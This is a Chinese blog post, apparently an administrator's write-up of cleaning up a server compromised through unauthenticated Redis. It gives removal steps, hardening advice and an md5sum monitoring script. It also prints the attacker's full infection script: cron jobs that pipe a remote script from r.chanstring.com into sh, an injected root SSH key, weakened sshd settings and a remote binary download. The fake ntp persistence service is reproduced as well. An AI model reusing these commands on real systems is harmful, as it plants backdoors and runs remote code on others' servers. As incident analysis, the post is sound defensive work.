redis非授权访问的查毒过程

排查及处理过程

2016年9月26日晚,阿里云后台报告有一台服务器在异地登录的告警,初步怀疑是被入侵了,临时采取关闭这台服务器的方法避免对集群中的其他主机造成危害。

第二天,开始排查原因。

首先在服务器上发现一个额外的计划任务(下图是解决过程中被我注释掉了)

联想到这个机器上跑有redis,基本断定是redis的未加密码导致的非授权访问。

根据以往经验,linux上的这个病毒通常是DDOS或者挖矿程序。下面来慢慢分析。

我们根据crontab里面的网址,我们到chrome里面输入这个链接下载下看下文件内容,(建议在虚拟机里操作,防止这个文件是浏览器0day利用脚本),

下面是wget 下载到的pm.sh,内容如下:

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/root

mkdir-p /var/spool/cron/crontabs

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/crontabs/root

if[ ! -f "/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes">> /etc/ssh/sshd_config

echo "RSAAuthentication yes">> /etc/ssh/sshd_config

echo "PubkeyAuthentication yes">> /etc/ssh/sshd_config

echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

if[ ! -f "/etc/init.d/ntp" ]; then

if [ ! -f"/etc/systemd/system/ntp.service" ]; then

mkdir -p /opt

curl -fsSL http://r.chanstring.com/v51/lady_`uname-m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33&& /opt/KHK75NEOiq33 -Install

fi

fi

/etc/init.d/ntpstart

psauxf|grep -v grep|grep "/usr/bin/cron"|awk ‘{print $2}‘|xargs kill -9

psauxf|grep -v grep|grep "/opt/cron"|awk ‘{print $2}‘|xargs kill -9

根据这个脚本的内容,我们大致就知道他的作案手段了:

1、利用redis非授权入侵

2、下载脚本,写入crontab定时执行,确保病毒的再生。

3、修改服务器sshd登录为他自己的秘钥。

4、根据http://r.chanstring.com/v51/lady_`uname-m`  这样能根据系统版本来自动下载匹配当前版本的病毒,确保病毒的正常运行。将病毒释放到/opt目录下,文件名KHK75NEOiq33。

5、/opt/KHK75NEOiq33-Install 这步操作应该是释放出病毒文件(如下的ntp)【暂不具备反汇编能力,无法获知这个命令感染了哪些文件】

6、伪造ntp服务,给管理员造成迷惑,驻留后台。(Linux下是没有ntp服务的,有的是ntpd服务)

附发现的伪造的/etc/init.d/ntp文件内容:

#!/bin/sh

#For RedHat and cousins:

#chkconfig: - 99 01

#description: NTP daemon

#processname: /usr/sbin/ntp

###BEGIN INIT INFO

#Provides:          /usr/sbin/ntp

#Required-Start:

#Required-Stop:

#Default-Start:     2 3 4 5

#Default-Stop:      0 1 6

#Short-Description: NTP daemon

#Description:       NTP daemon

###END INIT INFO

cmd="/usr/sbin/ntp "-D""

# 正常的系统上不存在这个可执行程序,可以断定是/opt/KHK75NEOiq33-Install 释放出来的

# 将这个文件和/opt/KHK75NEOiq33-Install 通过diff命令比对,发现是同一个文件。

name=$(basename$0)

pid_file="/var/run/$name.pid"

stdout_log="/var/log/$name.log"

stderr_log="/var/log/$name.err"

get_pid(){

cat "$pid_file"

}

is_running(){

[ -f "$pid_file" ] &&/usr/sbin/ntp -Pid $(get_pid) > /dev/null 2>&1

}

case"$1" in

start)

if is_running; then

echo "Already started"

else

echo "Starting $name"

$cmd >>"$stdout_log" 2>> "$stderr_log" &

echo $! > "$pid_file"

if ! is_running; then

echo "Unable to start, see$stdout_log and $stderr_log"

exit 1

fi

fi

;;

stop)

if is_running; then

echo -n "Stopping$name.."

kill $(get_pid)

for i in {1..10}

do

if ! is_running; then

break

fi

echo -n "."

sleep 1

done

echo

if is_running; then

echo "Not stopped; maystill be shutting down or shutdown may have failed"

exit 1

else

echo "Stopped"

if [ -f "$pid_file"]; then

rm "$pid_file"

fi

fi

else

echo "Not running"

fi

;;

restart)

$0 stop

if is_running; then

echo "Unable to stop, will notattempt to start"

exit 1

fi

$0 start

;;

status)

if is_running; then

echo "Running"

else

echo "Stopped"

exit 1

fi

;;

*)

echo "Usage: $0{start|stop|restart|status}"

exit 1

;;

esac

exit0

chkconfig--list|grep 3:on 可以看到ntp这个伪装的服务被设置为开机自启动了。

解决方法:

chkconfig ntp off

chkconfig --del ntp

先拷贝出ntp这个启动脚本,然后rm -f /etc/init.d/ntp

先拷贝出/usr/sbin/ntp /opt/KHK75NEOiq33这2个病毒文件,然后rm -f /usr/sbin/ntp /opt/KHK75NEOiq33 删除病毒文件

rm -f编辑 /var/spool/cron/crontabs/root和 /var/spool/cron/root,清除植入的cron计划任务

当然,这是台线上的服务器,为了防止还有残留的病毒文件,最好我们还是先备份下数据,然后重装了系统。

 

安全策略:

  • 给redis做密码授权访问,不要绑定在0.0.0.0:6379端口。
  • 开启iptables防火墙,只允许部分主机访问redis端口
  • 编写脚本,定期检查汇报重要文件的md5sum。

附一个之前写过检测md5sum的脚本:

step1、首先在新安装的无问题的电脑上执行下面几条命令,将MD5SUM保存下来,作为原始模板:

#!/bin/bash

#记录原始的执行文件的md5sum

if[[ ! -d /var/md5sum/ ]];then

mkdir /var/md5sum -p

fi

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

find $i -maxdepth 1 -type f | xargs -n1 md5sum >>/var/md5sum/md5sum.log.ori

done

step2、下面是我的/home/scripts/chkmd5sum.sh脚本,作用是检查相关目录的md5sum是否发生变化。

#!/bin/bash

#需要配置计划任务定期执行这个脚本,比对md5sum是否发生变化,变化则自动告警。

if[[ ! -d /var/md5sum/ ]];then

mkdir /var/md5sum -p

fi

rm-f /tmp/md5sum*

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

find $i -maxdepth 1 -type f | xargs -n1 md5sum >> /tmp/md5sum.log_`date+%F`

done

if! diff /tmp/md5sum.log_`date +%F` /var/md5sum/md5sum.log.ori > /tmp/md5sum_status ;then

cat /tmp/md5sum_status |mail -s"Warning,Md5sum has changed." [email protected]

fi

rm-f /tmp/md5sum_status

step3、添加定时任务,每天检查一遍,有变化就发送邮件告警(要求高的话,可以每天检查2次或更多)

echo‘30 7 * * * /bin/bash /home/scripts/chkmd5sum.sh > /dev/null 2>&1‘>> /var/spool/cron/root

后续

去chinaz.com查看下这个域名,结果也在预料之内,注册在国外,未备案。

时间: 2024-10-15 00:15:23

redis非授权访问的查毒过程的相关文章

Redis非授权访问获取webshell及相关问题

      最近,在乌云上看到有人利用Redis非授权访问获取webshell的案例.其实,之前在安全论坛上有看到相关的介绍文章.好吧,我也打算试用一把,在测试过程中把遇到的问题及解决办法记录一下.指不定有些朋友可以用的上,当然,仅作交流,请勿用于非法途径.       什么是Redis呢?我摘抄一段百度百科中的文字:Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API.从2010年3月15日起,Redis的开发

Redis 未授权访问缺陷可轻易导致系统被黑

Redis 未授权访问缺陷可轻易导致系统被黑 漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据.攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器. 漏洞概述 Redis

Redis未授权访问漏洞的利用及防护

Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上.如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据.攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作.攻击者

修补--Redis未授权访问漏洞

--------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访问,被攻击者恶意利用.当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除.泄露或加密勒索事件发生,严重危害业务正常服务. 二.Redis安全漏洞

Redis 未授权访问漏洞(附Python脚本)

0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-2.8.17.tar.gz cd redis-2.8.17 make #启动redis服务 cd src ./redis-server 启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了. 比如: [email protected]:/tmp/redis-2.8.

Redis未授权访问

最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再此记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R) Server 2003, Enterprise Edition 32位服务器,所以下载的是32位的redis,如果是64位的请下载对应的版本 下载地址:https://github.com/MSOpenTech/redis/releases. 下载下来的压缩包将其放入C盘根目录,重命名为Redi

docker搭建redis未授权访问漏洞环境

这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1y来搜索该镜像 构建好容器之后需进入容器对ssh服务重启 /etc/init.d/ssh restart Dockerfile如下: #Redis is not authorized to access # Base image to use, this nust be set as the fir

[Shell]Redis未授权访问反弹shell

原作者:Cream 文章出处: 贝塔安全实验室 0x01 Redis未授权访问反弹shell Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API.从2010年3月15日起,Redis的开发工作由VMware主持.从2013年5月开始,Redis的开发由Pivotal赞助. Redis因配置不当可以未授权访问(窃取数据.反弹shell.数据备份操作主从复制.命令执行).攻击者无需认证访问到内部数据,可导致敏感信息

Redis未授权访问缺陷让服务器沦为肉鸡

阿里云的安全告警邮件内容: 在没有查到异常进程之前我是先把操作系统的带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因. 在各种netstat –ntlp  的查看下没有任何异常.在top 下查到了有异常进程还有些异常的这里就截图一个: 结果果断把进程给kill-9  了  没想到再去ps的时候又来了意思就是会自动启动它.这就让我想到了crond 这个自动任务果不其然/var/sprool/cron/root 这个文件被人做了手脚而且是二进制的,果断又给删除了,以为这